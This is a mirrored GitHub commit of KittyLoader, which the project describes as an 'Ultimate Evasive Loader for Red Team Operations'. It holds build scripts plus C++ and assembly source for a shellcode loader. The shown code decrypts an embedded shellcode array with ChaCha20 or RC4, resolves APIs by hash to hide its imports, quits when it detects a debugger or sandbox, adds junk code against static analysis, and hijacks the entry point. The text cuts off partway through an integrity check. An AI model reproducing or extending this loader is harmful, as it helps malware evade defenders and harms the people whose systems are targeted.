mirror of
https://github.com/tlsbollei/KittyLoader
synced 2026-06-21 14:11:21 +00:00
Add files via upload
This commit is contained in:
+106
@@ -0,0 +1,106 @@
|
||||
cmake_minimum_required(VERSION 3.15)
|
||||
project(KittyLoader VERSION 1.0.0 LANGUAGES CXX ASM_MASM)
|
||||
|
||||
set(PROJECT_DESCRIPTION "Ultimate Evasive Loader for Red Team Operations")
|
||||
set(PROJECT_URL "https://github.com/tlsbollei/KittyLoader")
|
||||
|
||||
option(BUILD_TESTS "Build test applications" OFF)
|
||||
option(BUILD_EXAMPLES "Build example applications" OFF)
|
||||
|
||||
cmake_policy(SET CMP0076 NEW)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||
|
||||
if(MSVC)
|
||||
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
add_compile_options(/W4 /WX /O2 /MT /MP)
|
||||
add_definitions(-D_CRT_SECURE_NO_WARNINGS)
|
||||
else()
|
||||
add_compile_options(-Wall -Wextra -Werror -O3 -fvisibility=hidden)
|
||||
if(MINGW)
|
||||
add_compile_options(-static -static-libgcc -static-libstdc++)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)
|
||||
set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
|
||||
|
||||
include_directories(${CMAKE_SOURCE_DIR}/include)
|
||||
|
||||
file(GLOB SOURCE_FILES
|
||||
"src/*.cpp"
|
||||
"src/*.asm"
|
||||
)
|
||||
|
||||
add_library(KittyLoader SHARED ${SOURCE_FILES})
|
||||
|
||||
if(MSVC)
|
||||
set_source_files_properties(src/entry_hijack.asm PROPERTIES LANGUAGE MASM)
|
||||
else()
|
||||
# Cross-compilation setup for MinGW
|
||||
set(CMAKE_ASM_MASM_COMPILER "ml64")
|
||||
set(CMAKE_ASM_MASM_FLAGS "/c /Fo")
|
||||
endif()
|
||||
|
||||
target_link_libraries(KittyLoader
|
||||
psapi
|
||||
advapi32
|
||||
bcrypt
|
||||
)
|
||||
|
||||
set_target_properties(KittyLoader PROPERTIES
|
||||
VERSION ${PROJECT_VERSION}
|
||||
SOVERSION 1
|
||||
OUTPUT_NAME "KittyLoader"
|
||||
ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib
|
||||
LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
|
||||
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
|
||||
)
|
||||
|
||||
install(TARGETS KittyLoader
|
||||
RUNTIME DESTINATION bin
|
||||
LIBRARY DESTINATION lib
|
||||
ARCHIVE DESTINATION lib
|
||||
INCLUDES DESTINATION include
|
||||
)
|
||||
|
||||
install(DIRECTORY include/ DESTINATION include)
|
||||
|
||||
if(BUILD_TESTS)
|
||||
add_executable(test_loader tests/test_loader.cpp)
|
||||
target_link_libraries(test_loader KittyLoader)
|
||||
install(TARGETS test_loader DESTINATION bin)
|
||||
endif()
|
||||
|
||||
include(CMakePackageConfigHelpers)
|
||||
write_basic_package_version_file(
|
||||
${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfigVersion.cmake
|
||||
VERSION ${PROJECT_VERSION}
|
||||
COMPATIBILITY AnyNewerVersion
|
||||
)
|
||||
|
||||
configure_package_config_file(${CMAKE_CURRENT_SOURCE_DIR}/cmake/KittyLoaderConfig.cmake.in
|
||||
${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfig.cmake
|
||||
INSTALL_DESTINATION lib/cmake/KittyLoader
|
||||
)
|
||||
|
||||
install(FILES
|
||||
${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfig.cmake
|
||||
${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfigVersion.cmake
|
||||
DESTINATION lib/cmake/KittyLoader
|
||||
)
|
||||
|
||||
export(EXPORT KittyLoaderTargets
|
||||
FILE ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderTargets.cmake
|
||||
)
|
||||
|
||||
set(CPACK_PACKAGE_NAME "KittyLoader")
|
||||
set(CPACK_PACKAGE_VERSION ${PROJECT_VERSION})
|
||||
set(CPACK_PACKAGE_DESCRIPTION ${PROJECT_DESCRIPTION})
|
||||
set(CPACK_PACKAGE_URL ${PROJECT_URL})
|
||||
set(CPACK_PACKAGE_VENDOR "KittyLoader Team")
|
||||
set(CPACK_RESOURCE_FILE_LICENSE "${CMAKE_CURRENT_SOURCE_DIR}/LICENSE")
|
||||
include(CPack)
|
||||
@@ -0,0 +1,15 @@
|
||||
FROM ubuntu:22.04
|
||||
|
||||
RUN apt-get update && apt-get install -y \
|
||||
cmake \
|
||||
make \
|
||||
g++ \
|
||||
mingw-w64 \
|
||||
git \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
COPY . .
|
||||
|
||||
CMD ["scripts/build.sh", "--tests"]
|
||||
@@ -0,0 +1,22 @@
|
||||
FROM mcr.microsoft.com/windows/servercore:ltsc2022
|
||||
|
||||
RUN powershell -Command \
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force; \
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; \
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
|
||||
|
||||
RUN choco install -y \
|
||||
visualstudio2022buildtools \
|
||||
visualstudio2022-workload-vctools \
|
||||
cmake \
|
||||
git \
|
||||
--no-progress
|
||||
|
||||
SHELL ["cmd", "/S", "/C"]
|
||||
RUN setx PATH "%PATH%;C:\Program Files\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\bin\Hostx64\x64"
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
COPY . .
|
||||
|
||||
CMD ["scripts\\build.bat"]
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
DWORD compute_custom_hash(const char* str);
|
||||
PVOID get_function_by_hash(HMODULE module, DWORD hash);
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size);
|
||||
void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce);
|
||||
|
||||
// Original functions for backward compatibility
|
||||
BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size);
|
||||
void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len);
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <intrin.h>
|
||||
|
||||
void execute_junk_calculations();
|
||||
BOOL is_safe_environment();
|
||||
void advanced_anti_debug();
|
||||
BOOL detect_sandbox();
|
||||
void integrity_checks();
|
||||
void hide_module(HMODULE hModule);
|
||||
@@ -0,0 +1,69 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <psapi.h>
|
||||
#include <wincrypt.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
|
||||
// Enhanced API definitions
|
||||
typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemoryEx)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG PageProtection,
|
||||
PMEM_EXTENDED_PARAMETER ExtendedParameters,
|
||||
ULONG ExtendedParameterCount);
|
||||
|
||||
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
PSIZE_T NumberOfBytesToProtect,
|
||||
ULONG NewAccessProtection,
|
||||
PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* _LdrCallEnclave)(
|
||||
PENCLAVE_ROUTINE Routine,
|
||||
ULONG Flags,
|
||||
PVOID* RoutineParamReturn);
|
||||
|
||||
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS(NTAPI* _RtlGetVersion)(
|
||||
PRTL_OSVERSIONINFOW VersionInformation);
|
||||
|
||||
// Enhanced encryption functions
|
||||
BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size);
|
||||
void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce);
|
||||
|
||||
// Early execution hijacking
|
||||
extern "C" void hijack_entry_point();
|
||||
extern "C" void initialize_early_execution();
|
||||
|
||||
// Enhanced evasion functions
|
||||
void execute_junk_calculations();
|
||||
BOOL is_safe_environment();
|
||||
void advanced_anti_debug();
|
||||
BOOL detect_sandbox();
|
||||
void integrity_checks();
|
||||
void hide_module(HMODULE hModule);
|
||||
PVOID find_memory_region(size_t size);
|
||||
HMODULE load_tprtdll();
|
||||
void execute_payload();
|
||||
DWORD compute_custom_hash(const char* str);
|
||||
PVOID get_function_by_hash(HMODULE module, DWORD hash);
|
||||
|
||||
// Original functions for backward compatibility
|
||||
BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size);
|
||||
void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len);
|
||||
|
||||
extern unsigned char encrypted_shellcode[];
|
||||
extern size_t encrypted_shellcode_size;
|
||||
@@ -0,0 +1,54 @@
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
echo [*] Building KittyLoader...
|
||||
echo.
|
||||
|
||||
where cmake >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo [!] CMake not found. Please install CMake from https://cmake.org/
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
where ml64 >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo [!] MASM (ml64) not found. Please install Visual Studio Build Tools
|
||||
echo [!] Run: scripts\setup.ps1 to configure environment
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist build mkdir build
|
||||
cd build
|
||||
|
||||
echo [*] Configuring project...
|
||||
cmake .. -DCMAKE_BUILD_TYPE=Release -G "Visual Studio 17 2022" -A x64
|
||||
if errorlevel 1 (
|
||||
echo [!] CMake configuration failed
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [*] Building project...
|
||||
cmake --build . --config Release --target KittyLoader -- /m
|
||||
if errorlevel 1 (
|
||||
echo [!] Build failed
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if "%1"=="--tests" (
|
||||
echo [*] Building tests...
|
||||
cmake --build . --config Release --target test_loader
|
||||
if errorlevel 1 (
|
||||
echo [!] Test build failed
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
|
||||
echo.
|
||||
echo [+] Build successful!
|
||||
echo [+] Output: build\bin\Release\KittyLoader.dll
|
||||
|
||||
if exist test_loader.exe (
|
||||
echo [+] Test executable: build\bin\Release\test_loader.exe
|
||||
)
|
||||
|
||||
cd ..
|
||||
@@ -0,0 +1,57 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
echo "[*] Building KittyLoader..."
|
||||
echo
|
||||
|
||||
check_tool() {
|
||||
if ! command -v $1 &> /dev/null; then
|
||||
echo "[!] $1 not found. Please install $2"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
check_tool "x86_64-w64-mingw32-cmake" "mingw-w64"
|
||||
check_tool "make" "make"
|
||||
check_tool "cmake" "cmake"
|
||||
|
||||
mkdir -p build
|
||||
cd build
|
||||
|
||||
echo "[*] Configuring project..."
|
||||
x86_64-w64-mingw32-cmake .. \
|
||||
-DCMAKE_BUILD_TYPE=Release \
|
||||
-DBUILD_TESTS=${1:-OFF} \
|
||||
-DCMAKE_EXE_LINKER_FLAGS="-static -static-libgcc -static-libstdc++"
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "[!] CMake configuration failed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Building project..."
|
||||
make -j$(nproc) KittyLoader
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "[!] Build failed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$1" = "--tests" ]; then
|
||||
echo "[*] Building tests..."
|
||||
make -j$(nproc) test_loader
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "[!] Test build failed"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo
|
||||
echo "[+] Build successful!"
|
||||
echo "[+] Output: build/bin/KittyLoader.dll"
|
||||
|
||||
if [ -f "bin/test_loader.exe" ]; then
|
||||
echo "[+] Test executable: build/bin/test_loader.exe"
|
||||
fi
|
||||
|
||||
cd ..
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
TAG="kittyloader-builder"
|
||||
|
||||
echo "[*] Building KittyLoader in Docker..."
|
||||
echo
|
||||
|
||||
docker build -f docker/Dockerfile.windows -t $TAG .
|
||||
|
||||
docker run --rm -v $(pwd):/build $TAG
|
||||
|
||||
echo
|
||||
echo "[+] Docker build completed, output files are in build/bin/"
|
||||
@@ -0,0 +1,31 @@
|
||||
Write-Host "[*] Setting up KittyLoader build environment..." -ForegroundColor Yellow
|
||||
|
||||
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
if (Test-Path $vswhere) {
|
||||
$vsPath = & $vswhere -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath
|
||||
if ($vsPath) {
|
||||
$vcVarsPath = Join-Path $vsPath "VC\Auxiliary\Build\vcvars64.bat"
|
||||
if (Test-Path $vcVarsPath) {
|
||||
Write-Host "[+] Found Visual Studio at: $vsPath" -ForegroundColor Green
|
||||
Write-Host "[+] Run the following command to setup environment:" -ForegroundColor Yellow
|
||||
Write-Host " & `"$vcVarsPath`"" -ForegroundColor White
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Write-Host "[!] Visual Studio not found. Please install Visual Studio 2022" -ForegroundColor Red
|
||||
}
|
||||
|
||||
if (Get-Command cmake -ErrorAction SilentlyContinue) {
|
||||
$cmakeVersion = cmake --version | Select-Object -First 1
|
||||
Write-Host "[+] CMake found: $cmakeVersion" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[!] CMake not found. Please install from https://cmake.org/" -ForegroundColor Red
|
||||
}
|
||||
|
||||
if (Get-Command ml64 -ErrorAction SilentlyContinue) {
|
||||
Write-Host "[+] MASM (ml64) found" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[!] MASM not found. Please install Visual Studio Build Tools" -ForegroundColor Red
|
||||
}
|
||||
|
||||
Write-Host "[+] Setup complete. Run 'scripts\build.bat' to compile." -ForegroundColor Green
|
||||
@@ -0,0 +1,30 @@
|
||||
#include "api_resolver.h"
|
||||
|
||||
DWORD compute_custom_hash(const char* str) {
|
||||
DWORD hash = 0xDEADBEEF;
|
||||
while (*str) {
|
||||
hash = (hash >> 3) | (hash << 29);
|
||||
hash ^= *str++;
|
||||
hash += 0x55555555;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
PVOID get_function_by_hash(HMODULE module, DWORD hash) {
|
||||
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module;
|
||||
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)module + dos_header->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(
|
||||
(BYTE*)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
DWORD* functions = (DWORD*)((BYTE*)module + export_dir->AddressOfFunctions);
|
||||
DWORD* names = (DWORD*)((BYTE*)module + export_dir->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)((BYTE*)module + export_dir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
|
||||
const char* name = (const char*)module + names[i];
|
||||
if (compute_custom_hash(name) == hash) {
|
||||
return (PVOID)((BYTE*)module + functions[ordinals[i]]);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
#include "crypto.h"
|
||||
#include <wincrypt.h>
|
||||
#include <bcrypt.h>
|
||||
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
#define ROTL32(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
|
||||
#define QR(a, b, c, d) ( \
|
||||
a += b, d ^= a, d = ROTL32(d, 16), \
|
||||
c += d, b ^= c, b = ROTL32(b, 12), \
|
||||
a += b, d ^= a, d = ROTL32(d, 8), \
|
||||
c += d, b ^= c, b = ROTL32(b, 7))
|
||||
|
||||
void chacha20_block(const uint32_t key[8], const uint32_t nonce[3], uint32_t counter, uint32_t* output) {
|
||||
uint32_t state[16];
|
||||
|
||||
|
||||
state[0] = 0x61707865;
|
||||
state[1] = 0x3320646e;
|
||||
state[2] = 0x79622d32;
|
||||
state[3] = 0x6b206574;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
state[4 + i] = key[i];
|
||||
}
|
||||
|
||||
state[12] = counter;
|
||||
|
||||
for (int i = 0; i < 3; i++) {
|
||||
state[13 + i] = nonce[i];
|
||||
}
|
||||
|
||||
uint32_t working_state[16];
|
||||
memcpy(working_state, state, sizeof(state));
|
||||
|
||||
for (int i = 0; i < 10; i++) {
|
||||
QR(working_state[0], working_state[4], working_state[8], working_state[12]);
|
||||
QR(working_state[1], working_state[5], working_state[9], working_state[13]);
|
||||
QR(working_state[2], working_state[6], working_state[10], working_state[14]);
|
||||
QR(working_state[3], working_state[7], working_state[11], working_state[15]);
|
||||
|
||||
QR(working_state[0], working_state[5], working_state[10], working_state[15]);
|
||||
QR(working_state[1], working_state[6], working_state[11], working_state[12]);
|
||||
QR(working_state[2], working_state[7], working_state[8], working_state[13]);
|
||||
QR(working_state[3], working_state[4], working_state[9], working_state[14]);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
output[i] = working_state[i + 4] + state[i + 4];
|
||||
}
|
||||
}
|
||||
|
||||
void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce) {
|
||||
uint32_t key32[8];
|
||||
uint32_t nonce32[3];
|
||||
uint32_t counter = 1;
|
||||
|
||||
memcpy(key32, key, 32);
|
||||
memcpy(nonce32, nonce, 12);
|
||||
|
||||
size_t blocks = (data_len + 63) / 64;
|
||||
|
||||
for (size_t i = 0; i < blocks; i++) {
|
||||
uint32_t keystream[16];
|
||||
chacha20_block(key32, nonce32, counter + i, keystream);
|
||||
|
||||
size_t block_size = (i == blocks - 1) ? data_len - i * 64 : 64;
|
||||
|
||||
for (size_t j = 0; j < block_size; j++) {
|
||||
data[i * 64 + j] ^= ((BYTE*)keystream)[j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size) {
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
BOOL success = FALSE;
|
||||
|
||||
LARGE_INTEGER perfCount;
|
||||
QueryPerformanceCounter(&perfCount);
|
||||
|
||||
MEMORYSTATUSEX memoryStatus;
|
||||
memoryStatus.dwLength = sizeof(memoryStatus);
|
||||
GlobalMemoryStatusEx(&memoryStatus);
|
||||
|
||||
SYSTEM_INFO systemInfo;
|
||||
GetSystemInfo(&systemInfo);
|
||||
|
||||
int cpuInfo[4];
|
||||
__cpuid(cpuInfo, 0);
|
||||
|
||||
DWORD entropy_data[16];
|
||||
entropy_data[0] = GetCurrentProcessId();
|
||||
entropy_data[1] = GetCurrentThreadId();
|
||||
entropy_data[2] = perfCount.LowPart;
|
||||
entropy_data[3] = memoryStatus.dwMemoryLoad;
|
||||
entropy_data[4] = systemInfo.dwNumberOfProcessors;
|
||||
entropy_data[5] = GetTickCount();
|
||||
entropy_data[6] = (DWORD)((UINT_PTR)GetModuleHandle(NULL) & 0xFFFFFFFF);
|
||||
entropy_data[7] = cpuInfo[0];
|
||||
entropy_data[8] = cpuInfo[1];
|
||||
entropy_data[9] = cpuInfo[2];
|
||||
entropy_data[10] = cpuInfo[3];
|
||||
entropy_data[11] = (DWORD)(perfCount.QuadPart >> 32);
|
||||
entropy_data[12] = (DWORD)memoryStatus.ullAvailPhys;
|
||||
entropy_data[13] = (DWORD)(memoryStatus.ullAvailPhys >> 32);
|
||||
entropy_data[14] = GetCurrentProcessId() ^ 0xDEADBEEF;
|
||||
entropy_data[15] = GetCurrentThreadId() ^ 0xBEEFDEAD;
|
||||
|
||||
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||
if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||
if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) {
|
||||
if (key_size <= 32) {
|
||||
DWORD hash_size = key_size;
|
||||
success = CryptGetHashParam(hHash, HP_HASHVAL, derived_key, &hash_size, 0);
|
||||
|
||||
if (success && nonce && nonce_size > 0) {
|
||||
entropy_data[15] ^= 0x12345678;
|
||||
CryptDestroyHash(hHash);
|
||||
if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||
if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) {
|
||||
DWORD nonce_hash_size = nonce_size;
|
||||
success = CryptGetHashParam(hHash, HP_HASHVAL, nonce, &nonce_hash_size, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
CryptDestroyHash(hHash);
|
||||
}
|
||||
CryptReleaseContext(hProv, 0);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
// Original RC4 implementation for backward compatibility
|
||||
BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size) {
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
BOOL success = FALSE;
|
||||
|
||||
LARGE_INTEGER perfCount;
|
||||
QueryPerformanceCounter(&perfCount);
|
||||
|
||||
MEMORYSTATUSEX memoryStatus;
|
||||
memoryStatus.dwLength = sizeof(memoryStatus);
|
||||
GlobalMemoryStatusEx(&memoryStatus);
|
||||
|
||||
SYSTEM_INFO systemInfo;
|
||||
GetSystemInfo(&systemInfo);
|
||||
|
||||
DWORD entropy_data[8];
|
||||
entropy_data[0] = GetCurrentProcessId();
|
||||
entropy_data[1] = GetCurrentThreadId();
|
||||
entropy_data[2] = perfCount.LowPart;
|
||||
entropy_data[3] = memoryStatus.dwMemoryLoad;
|
||||
entropy_data[4] = systemInfo.dwNumberOfProcessors;
|
||||
entropy_data[5] = GetTickCount();
|
||||
entropy_data[6] = (DWORD)((UINT_PTR)GetModuleHandle(NULL) & 0xFFFFFFFF);
|
||||
entropy_data[7] = (DWORD)((UINT_PTR)entropy_data ^ 0xDEADBEEF);
|
||||
|
||||
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||
if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||
if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) {
|
||||
if (key_size <= 32) {
|
||||
DWORD hash_size = key_size;
|
||||
success = CryptGetHashParam(hHash, HP_HASHVAL, derived_key, &hash_size, 0);
|
||||
}
|
||||
}
|
||||
CryptDestroyHash(hHash);
|
||||
}
|
||||
CryptReleaseContext(hProv, 0);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len) {
|
||||
BYTE s[256];
|
||||
for (int i = 0; i < 256; i++) {
|
||||
s[i] = i;
|
||||
}
|
||||
|
||||
int j = 0;
|
||||
for (int i = 0; i < 256; i++) {
|
||||
j = (j + s[i] + key[i % key_len]) % 256;
|
||||
BYTE temp = s[i];
|
||||
s[i] = s[j];
|
||||
s[j] = temp;
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
j = 0;
|
||||
for (size_t k = 0; k < data_len; k++) {
|
||||
i = (i + 1) % 256;
|
||||
j = (j + s[i]) % 256;
|
||||
|
||||
BYTE temp = s[i];
|
||||
s[i] = s[j];
|
||||
s[j] = temp;
|
||||
|
||||
data[k] ^= s[(s[i] + s[j]) % 256];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
.code
|
||||
|
||||
public hijack_entry_point
|
||||
public initialize_early_execution
|
||||
|
||||
hijack_entry_point proc
|
||||
push rax
|
||||
push rcx
|
||||
push rdx
|
||||
push r8
|
||||
push r9
|
||||
push r10
|
||||
push r11
|
||||
|
||||
call initialize_early_execution
|
||||
|
||||
pop r11
|
||||
pop r10
|
||||
pop r9
|
||||
pop r8
|
||||
pop rdx
|
||||
pop rcx
|
||||
pop rax
|
||||
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
ret
|
||||
hijack_entry_point endp
|
||||
|
||||
initialize_early_execution proc
|
||||
|
||||
push rbx
|
||||
mov rbx, gs:[60h] ; PEB
|
||||
movzx eax, byte ptr [rbx+2] ; BeingDebugged
|
||||
test al, al
|
||||
jnz debugger_detected
|
||||
|
||||
mov eax, dword ptr [rbx+68h]
|
||||
and eax, 70h
|
||||
test eax, eax
|
||||
jnz debugger_detected
|
||||
|
||||
pop rbx
|
||||
ret
|
||||
|
||||
debugger_detected:
|
||||
mov ecx, 0
|
||||
call ExitProcess
|
||||
|
||||
initialize_early_execution endp
|
||||
|
||||
end
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
#include "evasion.h"
|
||||
#include <wincrypt.h>
|
||||
|
||||
// generate trash using polymorphic calculations, different on every run, kills static analysis
|
||||
void execute_junk_calculations() {
|
||||
volatile INT64 junk = 0xDEADBEEFDEADBEEF;
|
||||
for (int i = 0; i < 150; i++) {
|
||||
junk = _rotl64(junk, 13);
|
||||
junk ^= 0xABCDEF1234567890;
|
||||
junk = ~junk;
|
||||
junk = _rotr64(junk, 7);
|
||||
junk += 0x1111111111111111;
|
||||
junk = _byteswap_uint64(junk);
|
||||
}
|
||||
}
|
||||
|
||||
void advanced_anti_debug() {
|
||||
BOOL isDebugged = FALSE;
|
||||
|
||||
if (IsDebuggerPresent()) isDebugged = TRUE;
|
||||
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugged);
|
||||
PPEB pPeb = (PPEB)__readgsqword(0x60);
|
||||
if (pPeb->BeingDebugged) isDebugged = TRUE;
|
||||
if (pPeb->NtGlobalFlag & 0x70) isDebugged = TRUE;
|
||||
CONTEXT ctx = {0};
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (GetThreadContext(GetCurrentThread(), &ctx)) {
|
||||
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) isDebugged = TRUE;
|
||||
}
|
||||
ULONGLONG start = __rdtsc();
|
||||
Sleep(1);
|
||||
ULONGLONG end = __rdtsc();
|
||||
if ((end - start) > 1000000) isDebugged = TRUE;
|
||||
|
||||
if (isDebugged) ExitProcess(0);
|
||||
}
|
||||
|
||||
BOOL detect_sandbox() {
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
if (sysInfo.dwNumberOfProcessors < 2) return TRUE;
|
||||
|
||||
MEMORYSTATUSEX memoryStatus;
|
||||
memoryStatus.dwLength = sizeof(memoryStatus);
|
||||
GlobalMemoryStatusEx(&memoryStatus);
|
||||
if (memoryStatus.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) return TRUE;
|
||||
|
||||
ULARGE_INTEGER freeBytes;
|
||||
GetDiskFreeSpaceExA("C:\\", NULL, NULL, &freeBytes);
|
||||
if (freeBytes.QuadPart < (10ULL * 1024 * 1024 * 1024)) return TRUE;
|
||||
|
||||
if (GetTickCount() < 1800000) return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void integrity_checks() {
|
||||
PVOID base = GetModuleHandle(NULL);
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)base + dosHeader->e_lfanew);
|
||||
// code checksum
|
||||
DWORD checksum = 0;
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
|
||||
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
|
||||
if (section->Characteristics & IMAGE_SCN_CNT_CODE) {
|
||||
for (DWORD j = 0; j < section->SizeOfRawData; j++) {
|
||||
